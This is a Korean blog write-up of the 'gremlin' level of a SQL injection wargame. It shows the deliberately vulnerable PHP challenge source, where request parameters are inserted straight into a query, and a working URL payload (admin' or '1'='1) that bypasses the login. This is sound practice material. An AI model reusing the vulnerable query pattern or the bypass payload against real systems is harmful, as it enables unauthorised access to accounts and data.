IT보안관의 공부 클라우드

[los]gremlin 본문

워게임/los

[los]gremlin

ㅡㅡㅡㅡㄷ 2021. 3. 23. 17:55

 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

코드를 살펴보면 preg_match 함수로 prob _ . ( ) 을 필터링 하는 것으로 보임.

파라미터 id, pw를 이용하여 Injection 가능해보인다.

query : select id from prob_gremlin where id='' and pw=''

 

 

los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=admin%27%20or%20%271%27=%271

query : select id from prob_gremlin where id='admin' or '1'='1' and pw=''

기본적인 or 조건을 통해 우회가 가능하다.

'워게임 > los' 카테고리의 다른 글

[los]troll  (0) 2021.05.28
[los]orge  (0) 2021.05.25
[los]darkelf  (0) 2021.05.21
[los]wolfman  (0) 2021.05.17
[los]orc  (0) 2021.03.25
Comments